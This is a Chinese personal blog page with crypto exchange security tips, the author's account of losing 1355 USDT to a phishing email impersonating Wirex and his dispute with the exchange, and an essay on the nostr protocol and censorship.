  8. 优化设计 个人主页 并且 PageSpeed Insights 双项 100分 坛子的个人主页 www.tanzhijun.com 不错 很适合个人主页的模板. 而且是手机友好. 于是我照着把 我的主页改了改. https://steakovercooked.com 并且做了几点修改: 0. 使用 google mod_pagespeed 把 JS,...

币圈交易所安全实践


一周前,被骗1000英镑:在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex),近期在推上又被爆出两个比较大的事件,钱放交易所被黑客盗走,一夜清零。

htx-email-security-incidents 币圈交易所安全实践 交易所 Crypto Exchanges 加密货币 火币 HTX 资讯

火币HTX安全提示:警惕交易所账户安全风险,时刻树立安全意识

在加密货币的世界中,安全至关重要。虽然区块链的去中心化特性提供了对许多类型欺诈的强大保护,但您用来买卖和持有数字资产的交易所可能容易受到黑客和其他安全漏洞的攻击。交易所一般是中心化的,也就是我们说的CEX(Centralize Exchange)。以下是确保您的加密资产在交易所中保持安全的综合指南。

如果很多币/钱,最好放在自己的本地钱包里(Not Your Keys, Not Your Funds),并且用硬件钱包(如Ledger),这样风险会小一些,不过很多人把币放交易所上就为了挣一些利息(交易所有很多DeFi项目),不过你得到的也许是利息,但可能失去的是本金。

我知道的HTX火币交易所就很不错,每次提款都需要三个验证:手机SMS短信、邮件验证,还有就是Google二维验证码。一些交易所在主帐号改密码24小时内是不能提现的,这也一定程度给予用户时间减少损失。

启用双重身份验证(2FA)

双重身份验证(2FA)是一个重要的安全措施,可以为您的账户增加一层额外的保护。以下是它的工作原理:

为什么需要2FA? 它不仅要求您的密码,还需要第二个因素,通常是发送到您手机的代码或由身份验证应用生成的代码。
最佳实践:使用Google Authenticator或Authy等身份验证应用,而不是基于SMS的2FA,因为SIM卡交换可能会危及基于SMS的2FA。

启用短信提醒

短信提醒可以通知您账户上的任何可疑活动:

好处:对登录、提现和账户设置更改的即时通知。
安全提示:虽然短信提醒对于通知很有用,但避免使用短信进行2FA。相反,依赖专用的身份验证应用。

在隐身模式下访问交易网站

在访问您的交易账户时使用隐身或私人浏览模式可以增强安全性:

为什么使用隐身模式?:它可以防止存储浏览历史记录、Cookie和缓存数据,这些数据可能会被恶意软件利用。
额外好处:扩展程序在隐身模式下默认禁用,从而减少了恶意扩展攻击的风险。

避免使用VPN

虽然VPN通常对隐私有好处,但在交易所使用时有时会带来安全问题:

为什么避免使用VPN?:一些交易所可能会将VPN使用标记为可疑,从而导致账户访问问题或需要额外的验证步骤。
安全折衷:VPN有时可能会通过被破坏的服务器路由流量。如果使用VPN,请确保它是一个信誉良好的提供商。

VPN毕竟是你和交易所间的一个跳板,如果VPN节点装有窃听软件,后果不敢设想。

白名单IP地址

白名单IP地址可以增加强大的安全层:

工作原理:您可以指定哪些IP地址被允许访问您的账户。任何来自未列入白名单的IP地址的登录尝试将被阻止。
最佳实践:如果您有动态IP,或者使用特定范围的受信任网络的IP地址,请定期更新您的IP白名单。

使用强大且独特的密码

您的密码是您的第一道防线:

密码提示:使用大小写字母、数字和特殊字符的组合。避免使用常见的单词或容易猜到的信息。
密码管理器:考虑使用密码管理器来生成和存储复杂密码。

反钓鱼代码 Anti-phishing Code

大多交易所都可以设置一个反钓鱼代码,这个单词/代码只有你和交易所知道,所以你可以根据这个来判断邮件是不是来自于官方,因为官方的邮件里会标明这个代码。这是一个比较简单有效的提高安全性,避免上当受骗的方法了。

定期监控账户活动

定期监控您的账户可以帮助您及早发现任何未经授权的活动:

行动步骤:审查您的账户活动,查找任何不寻常的交易或登录尝试。
通知设置:确保您已启用所有重大账户活动的通知。

保持软件更新

确保您所有的设备和软件都是最新的:

重要性:软件更新通常包括新发现漏洞的安全补丁。
自动更新:启用操作系统、浏览器和任何安全软件的自动更新。

避免使用公共Wi-Fi

公共Wi-Fi网络通常不安全:

风险因素:这些网络很容易被恶意攻击者拦截以窃取敏感信息。
解决方案:在访问您的交易账户时使用安全的私人连接。

学习识别网络钓鱼攻击

网络钓鱼攻击是黑客获取账户访问权限的常见方式:

识别方法:谨防要求提供登录凭据的电子邮件、消息或网站。
验证:始终仔细检查URL,不要点击可疑链接。通过自己输入URL直接访问交易所网站。

TLDR;

我们在交易所持有加密货币需要采取主动的安全措施。通过实施这些最佳实践,例如启用2FA、在隐身模式下访问您的账户以及定期监控账户活动,可以显著减少未经授权访问的风险,确保您的数字资产(币)保持安全。保持信息通畅和警惕,因为安全形势总是在变化。Stay alert!

英文:Best Security Practices for Holding Cryptocurrencies on Exchanges

本文一共 1616 个汉字, 你数一下对不对.
币圈交易所安全实践. (AMP 移动加速版本)

扫描二维码,分享本文到微信朋友圈
75a5a60b9cac61e5c8c71a96e17f2d9c 币圈交易所安全实践 交易所 Crypto Exchanges 加密货币 火币 HTX 资讯
The post 币圈交易所安全实践 first appeared on 小赖子的英国生活和资讯.

相关文章:

  1. 智能手机 HTC One M9 使用测评 虽然我对手机要求不高, 远远没有像追求VPS服务器一样, 但是怎么算来两年内换了四个手机, 先是三星 S4 用了一年多, 然后 Nokia Lumia 635 Windows Phone, 后来又是 BLU, 半年多前换了...
  2. 按揭贷款(房贷,车贷) 每月还贷计算器 去年给银行借了17万英镑 买了20万7500英镑的房子, 25年还清. 前2年是定率 Fix Rate 的合同 (年利率2.49%). 每个月大概是还 700多英镑. 有很多种还贷的计算方式, 定率/每月固定 是比较常用的. 简单来说就是 每个月交的钱是...
  3. 微软顶配 Surface Studio Laptop 开箱和测评 我家的联想笔记本十几年了, 换了SSD固态硬盘勉强一直够用, 虽然平时不玩游戏, 对显卡要求不是很高, 但是在视频编辑方面就很有点弱鸡了. 所有笔记本几乎都有散热的问题, 特别是用久了的, 灰尘多, 散热效率不高, 所以温度一高风扇就会狂转. 家里的服务器放车库, 一直用小PC盒子远程连接除了玩游戏不太行, 视频编辑用PC版的剪映在PC盒子上勉强能用. 但想着还是搞台笔记本合适一些. 有朋友说视频剪辑要用苹果电脑,...
  4. 英国房子的EPC节能报告 EPC (Energe/Efficiency Performance Certificate) 是英国房子的节能报告, 法律上规定, 每个房子都必须要有一个EPC报告, 报告的有效期为十年. 房东在把房子出租或者想卖房的时候, 这个EPC就必须有效, 在一些情况下 比如出租房子的时候, 这个EPC报告还必须符合一些最低标准, 比如房子必须满足 F档(类似及格线)...
  5. SteemIt 高级定制微信文章列表 RSS/API/阅读器 v2.0 The Advanced Wechat Group Posts Feed/API/Reader v2.0 Abstract: I have added five parameters to the...
  6. 同一台服务器上多个WORDPRESS站点的一些设置可以移出去 我自从把所有网站都挪到一处VPS服务器上 就发现很多事情省事很多 可以同时管理多个网站 包括 WORDPRESS博客. 比如我有四个WORDPRESS博客 然后我就把通用的一些资料给移出去 移到 HTTP或者HTTPS都不能直接访问的文件夹里这样就更安全许多. 文件 wp-conn.php 存储了 相同的数据库资料. 1 2...
  7. 我在亚马逊AWS云On Call的体验 从2020年到2021年,我在亚马逊(AWS云)担任软件开发工程师(SDE)。有人说SDE代表”Someone Does Everything”(什么都做的人),这相当准确。在亚马逊,每位SDE软件工程师都负责从设计、编码到测试的所有工作,还需要定期轮值紧急响应任务。大多数亚马逊团队由6-8名工程师和一名软件开发经理(SDM)组成,遵循“两个披萨团队” (Two Pizza Team)的原则。 每位SDE软件工程师通常每6-7周需要轮值一次Oncall(紧急响应任务),持续一整周24/7待命。在此期间,你需要处理和解决业务上出错的问题(比如服务器宕机,原因可能:程序出错崩溃、硬盘空间不足、CPU温度过高等)。为此,你需要在手机上安装紧急响应软件(Pong),以接收与团队产品相关的警报。当警报响起时,你必须在15分钟内确认工单。如果没有及时确认,问题会逐级上报,甚至可能报告到CEO姐夫贝佐斯 Jeff Bezos,这可能会对你的绩效评估产生负面影响。 我听说有个软件工程师下班后和同事到酒吧里喝两杯,然后警报响了,他淡定的拿起笔记本就处理起来了。 亚马逊的理念是你拥有自己的代码/You own your code。这意味着即使在半夜,警报响了,你也得爬起来解决问题。你的首要任务是恢复服务/Mitigation,其次是调查原因和解决。如果警报在凌晨3点响起,您可以临时重启服务器来解决问题,详细调查可以第二天起床后再进行。如果你在半夜被警报唤醒,第二天可以多休息,不用担心早晨的站会(敏捷开发每天都有例会)。 程序也需要Oncall就会促使他们尽可能的写出高质量的代码,避免BUG日后找麻烦。...
  8. 在英国带孩子去露营全攻略 之前就做了一些露营的准备工作, 因为大儿子Eric 很兴奋说是要去 Camping Holiday 估计是在 Papa Pig 里看到的. 英国有很多可以露营的地方, 最后面选了一个离家开车1个多小时. 看了评论还不错. 地址为: New Road,...

在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex)


scam-alert 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税

我们要警惕诈骗

今天回家,在帮媳妇干活的时候,收到一邮件,手机上打开,以为是来自Wirex的,要我验证手机号,我想也没想,就打开验证了,然后不到2分钟,里面的钱就被转走了。

手机上打开没细看,电脑上打开该邮件 其实很容易发现是诈骗邮件的。因为邮件不是来自于官方,而且我的姓名前是加了一些乱码。一眼假。只不过当时在干活,也没多想,才被骗。

wirex-scam-email 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税

骗子邮件的邮箱是 community@greeka.com 然后发邮件我没细看就点了,后悔后怕

损失1355 USDT(1000多英镑),因为在Wirex上有X-Account,我锁定了XX个大饼,还好锁定了(30天才能解锁),后怕啊,不然全被搞走了,真得上天台了。

X-Account帐号锁定解锁需要30天,骗子马上启动解锁了。但钱还在,我立马联系客服,客服回得也挺快(以前不太重要的邮件就得好几天才回),客服立马把我的帐号锁定了,然后进行调查。

庆幸当初为了高1%的利息锁定币30天,要不然今天估计就全丢了。

Wirex通过手机短信就可以把钱搞走,而且登陆/更改资料都需要SMS验证码,实在是不合理,我要改回我手机号,则需要向骗子手机要验证码。虽然我开通了更为安全2FA二维码验证,但是貌似一个手机SMS验证码就可以关闭。

wirex-scam-transactions-out 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税

前两周转入该帐号的1000多英镑的TRX波场币被立马换成了U转出了

scam-phone-number-wirex-scaled 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税

我帐号的手机号被改成了这个美国的手机号 +1 9706930525, 改回来还得向这个手机号要验证码 非常不合理。

scam-eth-usdt-transactions 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税

1355那笔就是骗子把我的钱从Wirex交易所转出到他自己的帐号 6529 U 那笔就是另一个受害者 都是血汗钱啊

这个假期本来很完美,结果因这事搞得很不愉快。惨痛的教训,就当学费了。骗子不得好死。

Wirex客服这次回得挺快:
I am truly sorry you faced this. I have forwarded your case to the relevant team for further investigation and will update you once there is any news. Our legitimate email communications can be only from @mail.wirexapp.com or @wirexapp.com email addresses and we never ask to randomly confirm your phone number via email.
我真的很抱歉你遇到这个问题。 我已将您的案件转发给相关团队进行进一步调查,一旦有任何消息,我会及时通知您。我们的合法电子邮件通信只能来自@mail.wirexapp.com 或@wirexapp.com 电子邮件地址,并且我们从不要求通过电子邮件随机确认您的电话号码。

Your account is currently blocked, and no actions can be performed, your assets are safe. After investigation, the phone number and password will undoubtedly be reset. I also canceled the withdrawal from an X-Account.
您的账户目前被冻结,无法执行任何操作,您的资产是安全的。经调查后,您的电话号码和密码无疑会被重置。我还取消了从X账户提款(解冻)。

可以看到源源不断有受害者,骗子的ETH帐号转帐记录

骗子把帐号里能动的钱都动了,TRX波场币变成USDT转出,有25英镑的WXT因未到提现门槛取不走,还有锁定的BTC大饼也提不走,但是法币帐号有450多英镑,他确没有买成U,感觉他没有看到/想到。我当时第一时间还把信用卡给锁定了。

一笔昂贵的学费,破财消灾,币圈小辉大佬安慰我说:在币圈没被骗过被坑过的,不是我的兄弟。他还建议我去花1355刀,然后就把它当成是2710刀。于是我就把今年8月份的假期给定了,大概花了1200英镑,就当花了2400英镑。

后来晚上躺在床上复盘的时候,我觉得我在打开钓鱼链接的时候还是有机会阻止这一切发生的,虽然手机上看不到具体链接,但是它让我重新输入用户名的密码,这一点非常奇怪,因为我在手机上是有装Wirex App的,而且是已经登陆的状态的,所以不合常理。不管怎么样,一定要小心小心再小心,现在的骗局真是防不胜防,而且有时候就很容易上当了。

TLDR; 教训就是:在电脑上,屏幕大,警惕性强,在手机上,屏幕小,而且搞得和真的一样,容易放松警惕性。以后在手机上操作要特别留个心眼。

我在浏览器上还处在登陆状态(可能和cookie/session还有效有关),然后我把二维码验证2-FA打开,但是几分钟后,我发现它又被禁用了,很可能骗子当时也在操作。我的密码(和手机号)应该也已经被骗子修改了。

我登陆官方的Discord聊天频道 report-spam 发现已经陆陆续续有几个受害者了,而最早的受害者是1个多月前就受骗了,怪我没仔细关注这个频道,哪怕哪天看一眼,就不会去点了。

更新:才发现 客服回得快 是因为我是 wirex private customer 也就是帐号里钱超过一定额度 类似免费提升到VIP用户,不过他们今天给我邮件,说不给我补偿,说是我自己的问题。

我们已完成对您帐户活动的调查。 经过彻底审查后,我们想分享我们针对您的 Wirex 账户确定的一些要点:

我们尚未收到有关之前发送的问题的完整案例详细信息。
我们可以确认,我们所有的通信电子邮件只能来自@mail.wirexapp.com 或@wirexapp.com。
如果您收到任何有关奖励和优惠的消息,这些消息都不是由 Wirex 发送的。 您可以在博客 https://wirexapp.com/blog/post/avoid-getting-fooled-by-scammers-0737 中找到有关该主题的一些有用信息。
详细信息的更改已通过发送到帐户上的真实手机(即您的手机)的 OTP 进行确认。
账户中的资金已通过加密货币提款被删除,并且由于区块链中交易的机密性,我们无法逆转这些操作。

鉴于上述情况,我们不会支持您的索赔。

我们的团队将与您联系,协助您恢复帐户的访问权限。

我们知道这可能不是您期望的结果,但我们的决定是根据您提供的信息和我们系统中的数据做出的。 如果您对 Wirex 的体验未能达到您的期望,我们深感抱歉。

请接受我们对得出此结论所花费的时间的歉意,并感谢您的持续耐心

We have completed an investigation on regards to the activity on your account. After a thorough review, we would like to share a few key points we have identified on regards to your Wirex account:

We have not received full case details regarding the questions that were previously sent.
We can confirm that all our communication emails can be only from @mail.wirexapp.com or @wirexapp.com.
If you received any messages about rewards and offers, these were not sent by Wirex. You can find some useful information about the subject in the blog https://wirexapp.com/blog/post/avoid-getting-fooled-by-scammers-0737.
The change of details was confirmed via OTP sent to the genuine mobile on the account, your mobile.
Funds from the account were removed by crypto currency withdrawals and due to the confidentiality nature of transactions in the blockchain we cannot reverse these actions.

Due to the above stated, we will not be upholding your claim.

You will be contacted by our team to assist you into getting the access restored on the account.

We understand that this might not be the result you were expecting but we based our decision on the information provided by you and the data from our systems. We are deeply sorry if your experience with Wirex fell short of your expectations.

Please accept our apologies for the time taken to achieve this conclusion and thank you for your continued patience.

我回了:

我对最近遇到的安全问题感到非常沮丧和担忧。 尽管启用了双因素身份验证 (2FA),但未阻止未经授权的访问。 似乎可以通过短信禁用 2FA,更改电话号码也需要短信。 这是一个重大的安全缺陷。

因此,我将把我的资金从你们的平台上转移出去。 如果我丢失的资金没有被追回或至少得到部分补偿(承认这部分是我的错),我将不再相信你们的安全措施。 我有几个具体的关注点:

我不再相信你们平台的安全性。
其他交易所,例如 HTX,需要三个因素才能提取资金:短信、电子邮件代码和 2FA。
未知地址在被允许提取资金之前应该有一个冷却期。
为什么可以将电话号码更改为另一个国家/地区而不触发红色安全标志,尤其是当我是英国居民时?
我敦促您充分考虑这些问题并采取适当的行动。

I am extremely frustrated and concerned about the recent security issue I experienced. Despite having two-factor authentication (2FA) enabled, unauthorized access was not prevented. It appears that 2FA can be disabled via SMS, which is also needed to change the phone number. This is a major security flaw.

As a result, I am moving my funds away from your platform. If my lost funds are not recovered or at least partially compensated (acknowledging that it is partially my fault), I will no longer trust your security measures. I have a few specific points of concern:

I no longer trust the security of your platform.
Other exchanges, such as HTX, require three factors to withdraw funds: SMS, email code, and 2FA.
There should be a cooling period for unknown addresses before they are allowed to withdraw funds.
Why is it possible to change a phone number to another country without triggering a red security flag, especially when I am a UK resident?
I urge you to fully consider these issues and take appropriate action.

人生第一次被钓鱼被骗,惨痛的代价,不过人生也算完整了,如果这能让我痛定思痛,以后不会再上类似的当,那也许就没有那么惨,就当学费了。

Discord上有老外说 黑客从暗网或者一些大型泄露的数据库中得到你的邮箱和电话。

他们拥有从公司窃取的大型数据库,或者也在深层网络上购买,通常是在我们上方流动的信息,我们的数据没有 100% 准确的安全性,那些告诉你理论上不存在的网络安全的人,因为你将永远处于危险之中。
They have a large database that they steal from companies or they also buy it on the deep web, normally the information that flows above us there is no 100% accurate security of our data, those who tell you about cybersecurity that does not exist in theory because you will always be at risk.

Wirex官方说是我自己的问题,不愿意补偿。

我们理解这种情况可能有多么令人沮丧,并对完成审核所花费的时间表示歉意。

请让我们强调以下信息,以帮助对所发生的案件进行进一步澄清:

请注意,Wirex 实施了以下安全方法:基于时间的一次性密码、生物识别、推送通知,而对于加密传输,则使用 SMS 确认(更多信息:此处)。 正如您之前所说,您收到了一封电子邮件并完成了设备确认,这导致了未经授权的活动。 个人资料信息已通过发送到原始电话号码 (+44 XXXXXXX) 的 OTP 进行更改。 请注意,个人 Wirex 帐户的服务条款已被接受,请在此处查看更多详细信息 Wirex | 一般服务条款,接受此类条款意味着您同意对通过您的 Wirex 个人资料发起的所有交易负责。 未经授权使用您的 Wirex 配置文件可能会给您带来严重后果,包括财务后果。 最终,您有责任通过采取以下做法来保证您的 Wirex 配置文件的安全(10. 安全)。

我们非常感谢您的意见与合作。 感谢您分享您的建议。 尽管我们知道这可能不是您所希望的结果,但我们的决定是基于我们系统中的事实以及您提交的信息。

请通过下面的链接参阅我们完整的投诉政策

We understand how frustrating the situation may be and apologize for the time taken to accomplish the review.

Please let us highlight the following information to help bring in additional clarification to the occurred case:

Please be kindly advised that the following security methods are implemented by Wirex: The Time-Based One Time Password, Biometrics, Push notification, whereas for crypto transfers SMS confirmation is used (more information: here). As you have stated before, you received an email and completed device confirmation which led for an unauthorized activity. The profile information was altered via OTP sent to the original phone number (+44 XXXXXXX). Please be kindly advised that Terms of Service for a personal Wirex account were accepted, please see further details here Wirex | General Terms of Service, as accepting such implies an agreement that you are responsible for all transactions initiated through your Wirex Profile. Unauthorized use of your Wirex Profile may have serious consequences for you, including financial consequences. Ultimately, it is your responsibility to keep your Wirex Profile secure by engaging in the following practices (10. Security).

We highly appreciate your opinion and cooperation. Thank you for sharing your suggestion. Although we understand that this may not be the outcome you were hoping for, our decision is based on the facts from our systems as well as the information you submitted.

Please refer to our complete complaints policy via the link below

骗子最猖獗的今天,我们必须小心,将来也要小心,因为我们没有安全和隐私,那是谎言,你只需要小心,保持怀疑,并始终核实来源。
We have to be careful in these days where scammers have been most fussed be careful in the future because security and privacy we don’t have that’s a lie, you just have to be careful and be suspicious and always verify the source.

Wirex交易所安全隐患

总结一下,在我看来,Wirex交易所存在以下安全隐患:

  • 只需要手机验证码就可以关掉二维码验证码并改密码 电话,这个权限有点大。
  • 我人在英国(注册帐号地址在英国),直接允许改成美国的电话号码 而未被触发安全评估。
  • 为什么骗子会有我的邮箱?这个资料泄露和Wirex有分不开的关系。
  • 最早2月份的时候(三个月前),就有相同的骗子钓鱼邮件,为什么Wirex没有重视并采取相关的措施?
  • Wirex在提款到外部钱包地址的时候,并没有一个缓冲时间,一般来说,对于新的地址,需要有一个冷静期。
earliest-scam-incident-phone-verification-wirex-scam 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税

3个月前就有类似的事件,但Wirex并没有采取相应的措施来阻止类似的骗局。

scam-incident-1 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税

另一个类似的骗子钓鱼邮件

币圈的钱一定要牢牢握住,太多人一夜清零了

近期安全事件一览及原因分析

  • 案例一:某用户因 Chrome 恶意插件 Aggr 导致其浏览器 Cookies 被挟持,黑客通过挟持的 Cookies 绕过密码/2FA 验证登录某交易所账户,将其 100 万美元资产通过对敲方式转移。
  • 案例二:某用户称,诈骗分子在电报购买了他的所有个人资料,随后通过登陆邮箱号点开忘记密码,通过 AI 合成的视频申请更换了手机号、邮箱号甚至还有谷歌验证器,24小时后其在某交易所的账户丢失超 200 万美元的资产。

通过以上案例可以得知,随着 AI 技术的发展,黑客和诈骗分子的手段也有了新的变化,用户须注意保护自己的信息安全。大额资产做好隔离与隐私保护,如禁用第三方插件、密码及时登出等。

Wirex拿出一堆条例,说是我自己的问题,完全把自己摘干净,做为一个大的交易所,非常的不负责。

哎哎,每每想起这事,就是很不爽,而且又有点后怕(不幸中的万幸是XX个大饼还在,要是真被转走真是想死的心都会有),大半年白忙活了,我真是蠢啊。

后续:被盗的币和其TA几个人的币都被转出(ERC-20转帐记录),发现骗子骗了很多币,加上其它帐号,这一次行骗大概十几万刀了,而且骗子还在陆陆续续的发相同或者相似的钓鱼邮件。

stolen-funds-transfer-recorded 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税

发邮件问WirexApp是否有记录并且跟踪这些被盗的资产,回说:加密货币提款信息已按照要求报告。

这些资产估计被追回的概率渺茫,如果流入交易所,就有可能被封禁,否则概率很低。

关于此次被盗事件的英文相关帖子

搜索 Wirex 相关的帖子

更新:后来Wirex Private的经理专门给我视频会议,想让我回去,说会额外给我 1-2%的利息。

本文一共 3651 个汉字, 你数一下对不对.
在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex). (AMP 移动加速版本)

扫描二维码,分享本文到微信朋友圈
75a5a60b9cac61e5c8c71a96e17f2d9c 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) 交易所 Crypto Exchanges 加密货币 区块链 智商税
The post 在币圈第一次被骗1355 USDT(1000英镑)的惨痛经历(Wirex) first appeared on 小赖子的英国生活和资讯.

相关文章:

  1. 《steem 指南》- Steem 钱包转帐查询工具 前言 有时候我想搜索一下某条转帐记录, 苦于记不太清楚时间, 于是只能不停的刷或者翻页来找, 很不方便, 于是想着做一个简单的钱包转帐查询工具, 可以满足这样的需求. 工具地址 https://steemyy.com/advanced-transfer-viewer/ 使用方法 只需要输入 ID 然后可以设置参数来限制搜索范围: 货币单位可以是SBD或者是STEEM 附言是加密过的或者是普通的...
  2. 新的旅途 – 离别总是伤感的, 离开了一起创业的公司 2周前, 正式离开了一起创业的公司, 这公司是我博士毕业后的第一份正式工作, 待了8年多了, 离别总是伤感的. 我是9月初提的离职, 三个月 Notice Period, 最后的几周交接完工作确实没有什么压力了. 11月30号, 在公司最后一天, 公司有个习惯, 对于 Good...
  3. 按揭贷款(房贷,车贷) 每月还贷计算器 去年给银行借了17万英镑 买了20万7500英镑的房子, 25年还清. 前2年是定率 Fix Rate 的合同 (年利率2.49%). 每个月大概是还 700多英镑. 有很多种还贷的计算方式, 定率/每月固定 是比较常用的. 简单来说就是 每个月交的钱是...
  4. 智能手机 HTC One M9 使用测评 虽然我对手机要求不高, 远远没有像追求VPS服务器一样, 但是怎么算来两年内换了四个手机, 先是三星 S4 用了一年多, 然后 Nokia Lumia 635 Windows Phone, 后来又是 BLU, 半年多前换了...
  5. 测测你的幸运 – Linux Fortune-Teller LINUX 下有很好很好玩的命令,之前已经介绍过: figlet, rig, curl. 现在推荐另一个 命令 fortune 是用来随机显示一段(句)话的.fortune 在英文里就是幸运的意思. 这个命令可以不需要 参数 如果没有 可以通过 apt-get...
  6. Minuet in C – 小步舞曲C Posted Youtube – 油管地址 孩子弹琴的时候最帅了. 我现在成了我儿子的粉丝了. Eric (Aged 6) is playing “Minuet in C” when...
  7. 上了年纪痛风脚崴了的惨痛经历(尿酸过高) 痛风是一种疼痛性关节炎, 当血液中的尿酸水平高, 导致晶体形成并积聚在关节内或关节周围, 就会发生痛风. 当人体分解一种叫做嘌呤的化学物质时, 就会产生尿酸. 嘌呤自然存在于您的身体中, 也存在于某些食物中. 尿酸通过尿液从体内排出. 上两周, 和媳妇吵架, 然后就自己一人睡, 有一天起床后脚踝就开始疼了, 然后明显比左脚肿了. 我刚开始就以为是睡觉的时候不小心姿势不对,...
  8. 优衣库 感觉像炒作 这几天 这个在北京三里屯 ‘优衣库’ 试衣间自拍的视频真的很火, 男女主角均被人肉. 不可否认 这个效果还真的不错 因为我之前根本不知道 “优衣库” 是干嘛的 很刺激 在试衣间XXOO是多么爽的事情 女主角 95后妹子 长相甜美....

意外

今天早上送完儿子上学,回家的路上过一红绿灯,突然看见一辆电动车闯红灯串出,赶紧刹车。车被刹出了ABS,轮胎一阵 […]

聊聊 nostr 和 审查

这两天在网络上又有一个东西火了,Twitter 的创始人 @jack 新的社交 iOS App  Damus 上苹果商店(第二天就因为违反中国法律在中国区下架了),这个软件是一个去中心化的 Twitter,使用到的是 nostr – Notes and Other Stuff Transmitted by Relays 的协议(协议简介协议细节),协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品,如:MastodonSecure Scuttlebutt 。我顺着去看了一下这个协议,发现这个协议真是非常的简单,简单到几句话就可以讲清楚了。

通讯过程

  • 这个协议中有两个东西,一个是 client,一个是 relay,client 就是用户社交的客户端,relay 就是转发服务器。
  • 用户不需要注册,用户只需要有一个密钥对(公钥+私钥)就好了,然后把要发的信息做签名,发给一组 relays
  • 然后你的 Follower 就可以从这些 relays 上订阅到你的信息。

技术细节摘要

  • 技术实现上,nostr 使用 websocket + JSON 的方式。其中主要是下面这么几个指令
    • Client 到 Relay主要是下面这几个指令:
      • EVENT。发出事件,可以扩展出很多很多的动作来,比如:发信息,删信息,迁移信息,建 Channel ……扩展性很好。
      • REQ。用于请求事件和订阅更新。收到REQ消息后,relay 会查询其内部数据库并返回与过滤器匹配的事件,然后存储该过滤器,并将其接收的所有未来事件再次发送到同一websocket,直到websocket关闭。
      • CLOSE。用于停止被 REQ 请求的订阅。
    • Relay 到 Client 主要是下面几个指令:
      • EVENT。用于发送客户端请求的事件。
      • NOTICE。用于向客户端发送人类可读的错误消息或其他信息
  • 关于 EVENT 下面是几个常用的基本事件:
    • 0: set_metadata:比如,用户名,用户头像,用户简介等这样的信息。
    • 1: text_note:用户要发的信息内容
    • 2recommend_server:用户想要推荐给关注者的Relay的URL(例如wss://somerelay.com

如何对抗网络审查

那么,这个协议是如何对抗网络审查的?

  • 识别你的身份是通过你的签名,所以,只要你的私钥还在,你是不会被删号的
  • 任何人都可以运行一个或多个relay,所以,就很难有人控制所有的relay
  • 你还可以很方便的告诉其中的 relay 把你发的信息迁到另一个 relay 上
  • 你的信息是一次发给多个relay的,所以,只要不是所有的热门realy封了你,你就可以发出信息
  • 每个relay的运营者都可以自己制定规则,会审查哪些类型内容。用户据此选择即可。基本不会有一个全局的规则。
  • 如果你被全部的relay封了,你还是可以自建你的relay,然后,你可以通过各种方式告诉你身边的人你的relay服务器是什么?这样,他们把这个relay服务器加到他们的client列表中,你又可以从社死中复活了。

嗯,听起来很简单,整个网络是构建在一种 “社区式”的松散结构,完全可能会出现若干个 relay zone。这种架构就像是互联网的架构,没有中心化,比如 DNS服务器和Email服务器一样,只要你愿意,你完全可以发展出自己圈子里的“私服”。

其实,电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候,我当时在北京,当时的卫生部部长说已经控制住了,才12个人感染,当局也在控制舆论和删除互联网上所有的真实信息。但是,大家都在用电子邮件传播信息,当时基本没有什么社交软件,大家分享信息都是通过邮件,尤其是外企工作的圈子,当时每天都要收很多的非典的群发邮件,大家还都是用公司的邮件服务器发……这种松散的,点对点的架构,让审查是基本不可能的。其实,我觉得 nostr 就是另外一个变种或是升级版的 email 的形式

如何对抗Spam和骗子

但是问题来了,如果不能删号封人的话,那么如何对抗那些制造Spam,骗子或是反人类的信息呢?nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你,如果给他发私信,需要支付一点点btc ,或是relay要求你给btc才给你发信息(注:我不认为这是一个好的方法,因为:1)因为少数的坏人让大多数正常人也要跟着付出成本,这是个糟糕的治理方式,2)不鼓励那些生产内容的人,那么平台就没有任何价值了)。

不过,我觉得也有可以有下面的这些思路:

  • 用户主动拉黑,但很明显这个效率不高,而且体验不好
  • 社区或是同盟维护一个黑名单,relay定期更新(如同email中防垃圾邮件也是这样搞的),这其实也是审查。
  • 防Spam的算法过滤垃圾信息(如同email中干的),自动化审查。
  • 增加发Spam的成本,如: PoW 工作量证明(比特币的挖矿,最早也是用于Email),发信息要花钱(这个对正常用户伤害太大了)等。
  • ……

总之,还是有相应的方法的,但是一定没有完美解,email对抗了这么多年,你还是可以收到大量的垃圾邮件和钓鱼邮件,所以,我觉得 nostr 也不可能做到……

怎么理解审查

最后,我们要明白的是,无论你用什么方法,审查是肯定需要的,所以,我觉得要完全干掉审查,最终的结果就是一个到处都垃圾内容的地方!

我理解的审查不应该是为权力或是个体服务的,而是为大众和人民服务的,所以,审查必然是要有一个开放和共同决策的流程,而不是独断的

这点可以参考开源软件基金会的运作模式。

  • 最底端的是用户(User)参与开源社区的使用并提供问题和反馈。
  • 用户在使用过程中了解项目情况后贡献代码和文档就可以晋升为贡献者(Contributors),
  • 当贡献者提交一定数量贡献之后就可以晋升为提交者(Committers),此时你将拥有你参与仓库的代码读写权限。
  • 当提交者Committers在社区得到认可后,由项目管理委员会(PMC)选举并产生PMC成员(类似于议员),PMC成员拥有社区相关事务的投票、提名和共同决策权利和义务。

注意下面几点

  • 整个社区的决策者,是要通过自己贡献来挣到被选举权的。
  • 社区所有的工作和决定都是要公开的。
  • 社区的方向和决策都是要投票的,PMC成员有binding的票权,大众也有non-binding的投票权供参考。
